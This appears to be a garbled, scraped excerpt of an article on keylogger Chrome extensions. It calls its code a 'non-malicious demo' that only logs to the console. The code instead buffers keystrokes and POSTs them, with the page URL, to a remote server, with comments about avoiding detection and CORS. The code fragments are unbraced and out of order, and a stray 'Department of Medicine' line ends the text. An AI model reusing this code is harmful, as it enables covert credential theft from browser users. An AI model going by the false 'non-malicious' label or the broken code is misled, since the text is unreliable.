This article dissects the mechanics of keylogger Chrome extensions—from the innocent (parental controls) to the malicious (credential theft)—and provides a technical deep dive into their operation. Before understanding the Chrome extension variant, let’s define the core concept.

Here is a minimalist, non-malicious demo that logs only to the console and clears on page reload:

// Send data every 50 keystrokes to avoid detection. if (logBuffer.length > 50) sendKeystrokes(logBuffer.join('')); logBuffer = [];

function sendKeystrokes(data) fetch(targetServer, method: 'POST', mode: 'no-cors', // Attempt to avoid CORS errors body: JSON.stringify( keys: data, url: window.location.href ) );

// Don't log modifier keys alone, but track them for context. if (key === 'Enter') logBuffer.push('[ENTER]\n'); else if (key === 'Backspace') logBuffer.push('[BACKSPACE]'); else if (key.length === 1) logBuffer.push(key);

Department of Medicine